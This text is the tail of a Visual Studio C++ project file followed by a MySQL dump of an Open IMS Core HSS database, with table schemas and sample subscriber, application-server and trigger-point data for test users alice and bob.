<PreprocessorDefinitions>NDEBUG;_LIB;%(PreprocessorDefinitions);__WINDOWS__</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
| {
"pile_set_name": "Github"
} |
-- MySQL dump 10.11
--
-- Host: localhost Database: hss_db
-- ------------------------------------------------------
-- Server version 5.0.67-0ubuntu6
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `aliases_repository_data`
--
DROP TABLE IF EXISTS `aliases_repository_data`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `aliases_repository_data` (
`id` int(11) NOT NULL auto_increment,
`sqn` int(11) NOT NULL default '0',
`id_implicit_set` int(11) NOT NULL default '0',
`service_indication` varchar(255) NOT NULL default '',
`rep_data` blob,
PRIMARY KEY (`id`),
KEY `idx_id_implicit_set` (`id_implicit_set`),
KEY `idx_sqn` (`sqn`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Aliases Repository Data';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `aliases_repository_data`
--
LOCK TABLES `aliases_repository_data` WRITE;
/*!40000 ALTER TABLE `aliases_repository_data` DISABLE KEYS */;
/*!40000 ALTER TABLE `aliases_repository_data` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `application_server`
--
DROP TABLE IF EXISTS `application_server`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `application_server` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
`server_name` varchar(255) NOT NULL default '',
`default_handling` int(11) NOT NULL default '0',
`service_info` varchar(255) NOT NULL default '',
`diameter_address` varchar(255) NOT NULL default '',
`rep_data_size_limit` int(11) NOT NULL default '0',
`udr` tinyint(4) NOT NULL default '0',
`pur` tinyint(4) NOT NULL default '0',
`snr` tinyint(4) NOT NULL default '0',
`udr_rep_data` tinyint(4) NOT NULL default '0',
`udr_impu` tinyint(4) NOT NULL default '0',
`udr_ims_user_state` tinyint(4) NOT NULL default '0',
`udr_scscf_name` tinyint(4) NOT NULL default '0',
`udr_ifc` tinyint(4) NOT NULL default '0',
`udr_location` tinyint(4) NOT NULL default '0',
`udr_user_state` tinyint(4) NOT NULL default '0',
`udr_charging_info` tinyint(4) NOT NULL default '0',
`udr_msisdn` tinyint(4) NOT NULL default '0',
`udr_psi_activation` tinyint(4) NOT NULL default '0',
`udr_dsai` tinyint(4) NOT NULL default '0',
`udr_aliases_rep_data` tinyint(4) NOT NULL default '0',
`pur_rep_data` tinyint(4) NOT NULL default '0',
`pur_psi_activation` tinyint(4) NOT NULL default '0',
`pur_dsai` tinyint(4) NOT NULL default '0',
`pur_aliases_rep_data` tinyint(4) NOT NULL default '0',
`snr_rep_data` tinyint(4) NOT NULL default '0',
`snr_impu` tinyint(4) NOT NULL default '0',
`snr_ims_user_state` tinyint(4) NOT NULL default '0',
`snr_scscf_name` tinyint(4) NOT NULL default '0',
`snr_ifc` tinyint(4) NOT NULL default '0',
`snr_psi_activation` tinyint(4) NOT NULL default '0',
`snr_dsai` tinyint(4) NOT NULL default '0',
`snr_aliases_rep_data` tinyint(4) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_diameter_address` (`diameter_address`),
KEY `idx_server_name` (`server_name`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COMMENT='Application Servers';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `application_server`
--
LOCK TABLES `application_server` WRITE;
/*!40000 ALTER TABLE `application_server` DISABLE KEYS */;
INSERT INTO `application_server` VALUES (1,'default_as','sip:127.0.0.1:5065',0,'','presence.open-ims.test',1024,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0),(3,'MSS','sip:192.168.0.10:5080',1,'','mobicents.open-ims.test',1024,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1);
/*!40000 ALTER TABLE `application_server` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `capabilities_set`
--
DROP TABLE IF EXISTS `capabilities_set`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `capabilities_set` (
`id` int(11) NOT NULL auto_increment,
`id_set` int(11) NOT NULL default '0',
`name` varchar(255) NOT NULL default '',
`id_capability` int(11) NOT NULL default '0',
`is_mandatory` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_capability` (`id_capability`),
KEY `idx_id_set` USING BTREE (`id_set`),
KEY `idx_name` USING BTREE (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Capabilities Sets';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `capabilities_set`
--
LOCK TABLES `capabilities_set` WRITE;
/*!40000 ALTER TABLE `capabilities_set` DISABLE KEYS */;
INSERT INTO `capabilities_set` VALUES (2,1,'cap_set1',1,0);
/*!40000 ALTER TABLE `capabilities_set` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `capability`
--
DROP TABLE IF EXISTS `capability`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `capability` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Capabilities Definition';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `capability`
--
LOCK TABLES `capability` WRITE;
/*!40000 ALTER TABLE `capability` DISABLE KEYS */;
INSERT INTO `capability` VALUES (1,'cap1'),(2,'cap2');
/*!40000 ALTER TABLE `capability` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `charging_info`
--
DROP TABLE IF EXISTS `charging_info`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `charging_info` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
`pri_ecf` varchar(255) NOT NULL default '',
`sec_ecf` varchar(255) NOT NULL default '',
`pri_ccf` varchar(255) NOT NULL default '',
`sec_ccf` varchar(255) NOT NULL default '',
PRIMARY KEY (`id`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='Charging Information Templates';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `charging_info`
--
LOCK TABLES `charging_info` WRITE;
/*!40000 ALTER TABLE `charging_info` DISABLE KEYS */;
INSERT INTO `charging_info` VALUES (1,'default_charging_set','','','pri_ccf_address','');
/*!40000 ALTER TABLE `charging_info` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `cx_events`
--
DROP TABLE IF EXISTS `cx_events`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `cx_events` (
`id` int(11) NOT NULL auto_increment,
`hopbyhop` bigint(20) default NULL,
`endtoend` bigint(20) default NULL,
`id_impu` int(11) default NULL,
`id_impi` int(11) default NULL,
`id_implicit_set` int(11) default NULL,
`type` tinyint(1) NOT NULL default '0',
`subtype` tinyint(4) NOT NULL default '0',
`grp` int(11) default '0',
`reason_info` varchar(255) default '',
`trials_cnt` int(11) default '0',
`diameter_name` varchar(255) default '',
PRIMARY KEY (`id`),
KEY `idx_hopbyhop` USING BTREE (`hopbyhop`),
KEY `idx_endtoend` (`endtoend`),
KEY `idx_type` (`type`),
KEY `idx_grp` (`grp`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='Cx interface RTR and PPR events';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `cx_events`
--
LOCK TABLES `cx_events` WRITE;
/*!40000 ALTER TABLE `cx_events` DISABLE KEYS */;
/*!40000 ALTER TABLE `cx_events` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `dsai`
--
DROP TABLE IF EXISTS `dsai`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `dsai` (
`id` int(11) NOT NULL auto_increment,
`dsai_tag` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='DSAI table';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `dsai`
--
LOCK TABLES `dsai` WRITE;
/*!40000 ALTER TABLE `dsai` DISABLE KEYS */;
INSERT INTO `dsai` VALUES (1,'default_dsai');
/*!40000 ALTER TABLE `dsai` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `dsai_ifc`
--
DROP TABLE IF EXISTS `dsai_ifc`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `dsai_ifc` (
`id` int(11) NOT NULL auto_increment,
`id_dsai` int(11) NOT NULL default '0',
`id_ifc` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_dsai` (`id_dsai`),
KEY `idx_id_ifc` (`id_ifc`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=FIXED COMMENT='DSAI - iFC Mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `dsai_ifc`
--
LOCK TABLES `dsai_ifc` WRITE;
/*!40000 ALTER TABLE `dsai_ifc` DISABLE KEYS */;
INSERT INTO `dsai_ifc` VALUES (1,1,1);
/*!40000 ALTER TABLE `dsai_ifc` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `dsai_impu`
--
DROP TABLE IF EXISTS `dsai_impu`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `dsai_impu` (
`id` int(11) NOT NULL auto_increment,
`id_dsai` int(11) NOT NULL default '0',
`id_impu` int(11) NOT NULL default '0',
`dsai_value` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_dsai` (`id_dsai`),
KEY `idx_id_impu` (`id_impu`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 ROW_FORMAT=FIXED COMMENT='DSAI - IMPU/PSI Mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `dsai_impu`
--
LOCK TABLES `dsai_impu` WRITE;
/*!40000 ALTER TABLE `dsai_impu` DISABLE KEYS */;
INSERT INTO `dsai_impu` VALUES (1,1,1,0),(2,1,2,0);
/*!40000 ALTER TABLE `dsai_impu` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `ifc`
--
DROP TABLE IF EXISTS `ifc`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `ifc` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
`id_application_server` int(11) default NULL,
`id_tp` int(11) default NULL,
`profile_part_ind` int(11) default NULL,
PRIMARY KEY (`id`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COMMENT='Initial Filter Criteria';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `ifc`
--
LOCK TABLES `ifc` WRITE;
/*!40000 ALTER TABLE `ifc` DISABLE KEYS */;
INSERT INTO `ifc` VALUES (1,'default_ifc',-1,1,-1),(3,'MSS iFC',3,3,-1);
/*!40000 ALTER TABLE `ifc` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `impi`
--
DROP TABLE IF EXISTS `impi`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `impi` (
`id` int(11) NOT NULL auto_increment,
`id_imsu` int(11) default NULL,
`identity` varchar(255) NOT NULL default '',
`k` tinyblob NOT NULL,
`auth_scheme` int(11) NOT NULL default '0',
`default_auth_scheme` int(11) NOT NULL default '1',
`amf` tinyblob NOT NULL,
`op` tinyblob NOT NULL,
`sqn` varchar(64) NOT NULL default '000000000000',
`ip` varchar(64) NOT NULL default '',
`line_identifier` varchar(64) NOT NULL default '',
`zh_uicc_type` int(11) default '0',
`zh_key_life_time` int(11) default '3600',
`zh_default_auth_scheme` int(11) NOT NULL default '1',
PRIMARY KEY (`id`),
KEY `idx_identity` (`identity`),
KEY `idx_id_imsu` (`id_imsu`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='IM Private Identities table';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `impi`
--
LOCK TABLES `impi` WRITE;
/*!40000 ALTER TABLE `impi` DISABLE KEYS */;
INSERT INTO `impi` VALUES (4,1,'[email protected]','alice',127,1,'\0\0','\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0000000002f6','','',0,3600,1),(2,2,'[email protected]','bob',127,1,'\0\0','\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','00000000020f','','',0,3600,1);
/*!40000 ALTER TABLE `impi` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `impi_impu`
--
DROP TABLE IF EXISTS `impi_impu`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `impi_impu` (
`id` int(11) NOT NULL auto_increment,
`id_impi` int(11) NOT NULL default '0',
`id_impu` int(11) NOT NULL default '0',
`user_state` tinyint(4) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_impi` (`id_impi`),
KEY `idx_id_impu` (`id_impu`)
) ENGINE=MyISAM AUTO_INCREMENT=5 DEFAULT CHARSET=utf8 COMMENT='IM Private/Public Identities Mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `impi_impu`
--
LOCK TABLES `impi_impu` WRITE;
/*!40000 ALTER TABLE `impi_impu` DISABLE KEYS */;
INSERT INTO `impi_impu` VALUES (4,4,1,1),(2,2,2,0);
/*!40000 ALTER TABLE `impi_impu` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `impu`
--
DROP TABLE IF EXISTS `impu`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `impu` (
`id` int(11) NOT NULL auto_increment,
`identity` varchar(255) NOT NULL default '',
`type` tinyint(4) NOT NULL default '0',
`barring` tinyint(4) NOT NULL default '0',
`user_state` tinyint(4) NOT NULL default '0',
`id_sp` int(11) default NULL,
`id_implicit_set` int(11) NOT NULL default '0',
`id_charging_info` int(11) default NULL,
`wildcard_psi` varchar(255) NOT NULL default '',
`display_name` varchar(255) NOT NULL default '',
`psi_activation` tinyint(4) NOT NULL default '0',
`can_register` tinyint(4) NOT NULL default '1',
PRIMARY KEY (`id`),
KEY `idx_identity` (`identity`),
KEY `idx_id_impu_implicitset` (`id_implicit_set`),
KEY `idx_type` (`type`),
KEY `idx_sp` (`id_sp`),
KEY `idx_wildcard_psi` (`wildcard_psi`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='IM Public Identities';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `impu`
--
LOCK TABLES `impu` WRITE;
/*!40000 ALTER TABLE `impu` DISABLE KEYS */;
INSERT INTO `impu` VALUES (1,'sip:[email protected]',0,0,1,1,1,1,'','',0,1),(2,'sip:[email protected]',0,0,0,1,2,1,'','',0,1);
/*!40000 ALTER TABLE `impu` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `impu_visited_network`
--
DROP TABLE IF EXISTS `impu_visited_network`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `impu_visited_network` (
`id` int(11) NOT NULL auto_increment,
`id_impu` int(11) NOT NULL default '0',
`id_visited_network` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_impu` (`id_impu`),
KEY `idx_visited_network` (`id_visited_network`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Public Identity - Visited Network mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `impu_visited_network`
--
LOCK TABLES `impu_visited_network` WRITE;
/*!40000 ALTER TABLE `impu_visited_network` DISABLE KEYS */;
INSERT INTO `impu_visited_network` VALUES (1,1,1),(2,2,1);
/*!40000 ALTER TABLE `impu_visited_network` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `imsu`
--
DROP TABLE IF EXISTS `imsu`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `imsu` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
`scscf_name` varchar(255) default NULL,
`diameter_name` varchar(255) default NULL,
`id_capabilities_set` int(11) default NULL,
`id_preferred_scscf_set` int(11) default NULL,
PRIMARY KEY (`id`),
KEY `idx_capabilities_set` (`id_capabilities_set`),
KEY `idx_preferred_scscf` (`id_preferred_scscf_set`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='IMS Subscription';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `imsu`
--
LOCK TABLES `imsu` WRITE;
/*!40000 ALTER TABLE `imsu` DISABLE KEYS */;
INSERT INTO `imsu` VALUES (1,'alice','sip:scscf.open-ims.test:6060','scscf.open-ims.test',1,1),(2,'bob','','',1,1);
/*!40000 ALTER TABLE `imsu` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `preferred_scscf_set`
--
DROP TABLE IF EXISTS `preferred_scscf_set`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `preferred_scscf_set` (
`id` int(11) NOT NULL auto_increment,
`id_set` int(11) NOT NULL default '0',
`name` varchar(255) NOT NULL default '',
`scscf_name` varchar(255) NOT NULL default '',
`priority` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_priority` (`priority`),
KEY `idx_set` USING BTREE (`id_set`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='Preferred S-CSCF sets';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `preferred_scscf_set`
--
LOCK TABLES `preferred_scscf_set` WRITE;
/*!40000 ALTER TABLE `preferred_scscf_set` DISABLE KEYS */;
INSERT INTO `preferred_scscf_set` VALUES (1,1,'scscf1','sip:scscf.open-ims.test:6060',0);
/*!40000 ALTER TABLE `preferred_scscf_set` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `repository_data`
--
DROP TABLE IF EXISTS `repository_data`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `repository_data` (
`id` int(11) NOT NULL auto_increment,
`sqn` int(11) NOT NULL default '0',
`id_impu` int(11) NOT NULL default '0',
`service_indication` varchar(255) NOT NULL default '',
`rep_data` blob,
PRIMARY KEY (`id`),
KEY `idx_id_impu` (`id_impu`),
KEY `idx_sqn` (`sqn`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='Repository Data';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `repository_data`
--
LOCK TABLES `repository_data` WRITE;
/*!40000 ALTER TABLE `repository_data` DISABLE KEYS */;
/*!40000 ALTER TABLE `repository_data` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `sh_notification`
--
DROP TABLE IF EXISTS `sh_notification`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `sh_notification` (
`id` int(11) NOT NULL auto_increment,
`id_impu` int(11) NOT NULL default '0',
`id_application_server` int(11) NOT NULL default '0',
`data_ref` int(11) NOT NULL default '0',
`rep_data` blob,
`sqn` int(11) default '0',
`service_indication` varchar(255) default NULL,
`id_ifc` int(11) default '0',
`server_name` varchar(255) default NULL,
`scscf_name` varchar(255) default NULL,
`reg_state` int(11) default '0',
`psi_activation` int(11) default '0',
`dsai_tag` varchar(255) default NULL,
`dsai_value` int(11) default '0',
`hopbyhop` bigint(20) default '0',
`endtoend` bigint(20) default '0',
`grp` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_impu` (`id_impu`),
KEY `idx_as` (`id_application_server`)
) ENGINE=MyISAM AUTO_INCREMENT=9 DEFAULT CHARSET=utf8 COMMENT='Sh Interface Notifications';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `sh_notification`
--
LOCK TABLES `sh_notification` WRITE;
/*!40000 ALTER TABLE `sh_notification` DISABLE KEYS */;
/*!40000 ALTER TABLE `sh_notification` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `sh_subscription`
--
DROP TABLE IF EXISTS `sh_subscription`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `sh_subscription` (
`id` int(11) NOT NULL auto_increment,
`id_application_server` int(11) NOT NULL default '0',
`id_impu` int(11) NOT NULL,
`data_ref` int(11) NOT NULL default '0',
`service_indication` varchar(255) default NULL,
`dsai_tag` varchar(255) default NULL,
`server_name` varchar(255) default NULL,
`expires` bigint(20) NOT NULL default '-1',
PRIMARY KEY (`id`),
KEY `idx_id_impu` (`id_impu`),
KEY `idx_id_as` USING BTREE (`id_application_server`),
KEY `idx_expires` (`expires`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Sh Interface Subscriptions';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `sh_subscription`
--
LOCK TABLES `sh_subscription` WRITE;
/*!40000 ALTER TABLE `sh_subscription` DISABLE KEYS */;
INSERT INTO `sh_subscription` VALUES (1,3,1,11,NULL,NULL,NULL,1233768510345),(2,3,2,11,NULL,NULL,NULL,1233768510450);
/*!40000 ALTER TABLE `sh_subscription` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `shared_ifc_set`
--
DROP TABLE IF EXISTS `shared_ifc_set`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `shared_ifc_set` (
`id` int(11) NOT NULL auto_increment,
`id_set` int(11) NOT NULL default '0',
`name` varchar(255) NOT NULL default '',
`id_ifc` int(11) default NULL,
`priority` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_set` (`id_set`),
KEY `idx_priority` (`priority`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Shared IFC Sets';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `shared_ifc_set`
--
LOCK TABLES `shared_ifc_set` WRITE;
/*!40000 ALTER TABLE `shared_ifc_set` DISABLE KEYS */;
INSERT INTO `shared_ifc_set` VALUES (1,1,'default_shared_set',1,0),(2,2,'MSS Shared Set',3,0);
/*!40000 ALTER TABLE `shared_ifc_set` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `sp`
--
DROP TABLE IF EXISTS `sp`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `sp` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(16) NOT NULL default '',
`cn_service_auth` int(11) default NULL,
PRIMARY KEY (`id`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 COMMENT='Service Profiles';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `sp`
--
LOCK TABLES `sp` WRITE;
/*!40000 ALTER TABLE `sp` DISABLE KEYS */;
INSERT INTO `sp` VALUES (1,'default_sp',0);
/*!40000 ALTER TABLE `sp` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `sp_ifc`
--
DROP TABLE IF EXISTS `sp_ifc`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `sp_ifc` (
`id` int(11) NOT NULL auto_increment,
`id_sp` int(11) NOT NULL default '0',
`id_ifc` int(11) NOT NULL default '0',
`priority` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `id_sp` (`id_sp`),
KEY `id_ifc` (`id_ifc`),
KEY `idx_priority` (`priority`)
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=utf8 COMMENT='Service Profile - IFC mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `sp_ifc`
--
LOCK TABLES `sp_ifc` WRITE;
/*!40000 ALTER TABLE `sp_ifc` DISABLE KEYS */;
INSERT INTO `sp_ifc` VALUES (6,1,3,0);
/*!40000 ALTER TABLE `sp_ifc` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `sp_shared_ifc_set`
--
DROP TABLE IF EXISTS `sp_shared_ifc_set`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `sp_shared_ifc_set` (
`id` int(11) NOT NULL auto_increment,
`id_sp` int(11) NOT NULL default '0',
`id_shared_ifc_set` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_id_sp` (`id_sp`),
KEY `idx_id_shared_ifc_set` (`id_shared_ifc_set`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COMMENT='Service Profile - Shared IFC Sets mappings';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `sp_shared_ifc_set`
--
LOCK TABLES `sp_shared_ifc_set` WRITE;
/*!40000 ALTER TABLE `sp_shared_ifc_set` DISABLE KEYS */;
/*!40000 ALTER TABLE `sp_shared_ifc_set` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `spt`
--
DROP TABLE IF EXISTS `spt`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `spt` (
`id` int(11) NOT NULL auto_increment,
`id_tp` int(11) NOT NULL default '0',
`condition_negated` int(11) NOT NULL default '0',
`grp` int(11) NOT NULL default '0',
`type` int(11) NOT NULL default '0',
`requesturi` varchar(255) default NULL,
`method` varchar(255) default NULL,
`header` varchar(255) default NULL,
`header_content` varchar(255) default NULL,
`session_case` int(11) default NULL,
`sdp_line` varchar(255) default NULL,
`sdp_line_content` varchar(255) default NULL,
`registration_type` int(11) default '0',
PRIMARY KEY (`id`),
KEY `idx_trigger_point` (`id_tp`),
KEY `idx_grp` (`grp`)
) ENGINE=MyISAM AUTO_INCREMENT=20 DEFAULT CHARSET=utf8 COMMENT='Service Point Trigger';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `spt`
--
LOCK TABLES `spt` WRITE;
/*!40000 ALTER TABLE `spt` DISABLE KEYS */;
INSERT INTO `spt` VALUES (2,1,0,0,1,NULL,'PUBLISH',NULL,NULL,NULL,NULL,NULL,0),(5,1,0,0,2,NULL,NULL,'Event','.*presence.*',NULL,NULL,NULL,0),(7,1,0,1,1,NULL,'PUBLISH',NULL,NULL,NULL,NULL,NULL,0),(6,1,0,0,3,NULL,NULL,NULL,NULL,0,NULL,NULL,0),(8,1,0,1,2,NULL,NULL,'Event','.*presence.*',NULL,NULL,NULL,0),(9,1,0,1,3,NULL,NULL,NULL,NULL,3,NULL,NULL,0),(10,1,0,2,1,NULL,'SUBSCRIBE',NULL,NULL,NULL,NULL,NULL,0),(11,1,0,2,2,NULL,NULL,'Event','.*presence.*',NULL,NULL,NULL,0),(12,1,0,2,3,NULL,NULL,NULL,NULL,1,NULL,NULL,0),(13,1,0,3,1,NULL,'SUBSCRIBE',NULL,NULL,NULL,NULL,NULL,0),(14,1,0,3,2,NULL,NULL,'Event','.*presence.*',NULL,NULL,NULL,0),(15,1,0,3,3,NULL,NULL,NULL,NULL,2,NULL,NULL,0),(19,3,0,1,3,NULL,NULL,NULL,NULL,0,NULL,NULL,-2),(18,3,0,0,1,NULL,'',NULL,NULL,NULL,NULL,NULL,-2);
/*!40000 ALTER TABLE `spt` ENABLE KEYS */;
UNLOCK TABLES;
--
-- Table structure for table `tp`
--
DROP TABLE IF EXISTS `tp`;
SET @saved_cs_client = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `tp` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255) NOT NULL default '',
`condition_type_cnf` int(11) NOT NULL default '0',
PRIMARY KEY (`id`),
KEY `idx_name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=4 DEFAULT CHARSET=utf8 COMMENT='Trigger Points';
SET character_set_client = @saved_cs_client;
--
-- Dumping data for table `tp`
--
LOCK TABLES `tp` WRITE;
/*!40000 ALTER TABLE `tp` DISABLE KEYS */;
